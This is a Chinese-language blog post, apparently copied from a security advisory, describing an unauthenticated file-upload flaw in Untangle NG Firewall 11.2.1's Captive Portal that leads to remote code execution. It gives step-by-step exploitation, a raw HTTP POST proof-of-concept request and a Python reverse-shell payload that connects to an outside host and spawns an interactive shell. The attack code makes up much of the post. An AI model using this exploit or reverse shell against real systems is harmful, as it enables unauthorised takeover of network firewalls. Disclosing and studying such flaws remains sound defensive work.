AD

Untangle_NG_FW-RCE

   Untangle NG Firewall是一款软件防火墙,该RCE确定影响Untangle NG Firewall version 11.2.1

   UNGFW有一个免费的“Captive Portal”模块,该模块是默认已经被安装好的。这个模块是2FA认证系统,允许VPN或者LAN中的多个用户登录,并且自定义防火墙规则。会让所有流量必须经过认证才可以正常访问网络,如果没有通过认证,则会重定向所有HTTP/HTTPS请求到一个登录/免责声明页面URL(“/capture/handler.py”)
该组件的URL并不局限于本地用户,也可以从管理接口访问到,该端口默认在WAN启用,可以被远程用户通过HTTPS访问到。
该模块有个管理功能,可以让上传以ZIP格式打包压缩的自定义Python脚本或HTML页面。但问题在于上传文件时不会进行身份验证。结果造成任意文件上传漏洞。允许未经认证的用户上传恶意python、html页面到一个已知的文件夹中。
所有的Untangle插件都有自己的应用ID,默认情况下“Captive Portal”的ID为16,所以如果上传文件格式正确的话,会被解压并拷贝至“/capture/custom_16/”目录。
这个ID在旧版本中可能会有变化,但是不论如何变化,总会在1-35之间,只需要尝试很少次数就可以定位到。
上传的ZIP文件内容必须是一个“custom.py”或者“custom.html”文件,在安装模块的情况下,WEB服务器被配置为执行/capture/目录下的CGI文件(python),所有如果用户上传了一个python,web会执行这个文件:“/capture/custom_16/custom.py”

  利用方法:
1、上传一个包含有python脚本payload的zip文件
2、上传成功后,访问执行“/capture/custom_16/custom.py”

  POC:
POST /capture/handler.py/custom_upload HTTP/1.1
Host: untangle.domain.int
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------237722935617694
Content-Length: 671
-----------------------------237722935617694
Content-Disposition: form-data; name="upload_file"; filename="test.zip"
Content-Type: application/zip
[...]
-----------------------------237722935617694
Content-Disposition: form-data; name="appid"
16
-----------------------------237722935617694
Content-Disposition: form-data; name="filename"
test.py
-----------------------------237722935617694--

  “upload_file”参数必须包含一个含有定制payload的zip文件,“appid”默认选择16.“filename”无关紧要,仅仅用于状态/错误提示信息中,可以设置为任意一个值。

  下面的HTML表格可以作为POC,需要设置正确的action主机参数。











import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("8.8.8.8",80)); # 修改此处
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

来自:https://blogs.securiteam.com/index.php/archives/2724

评论

此博客中的热门博文

简单粗暴导出小米便签

我——终于一个人了

Ubiquiti_Networks_UniFi_Cloud_Key_authed_rce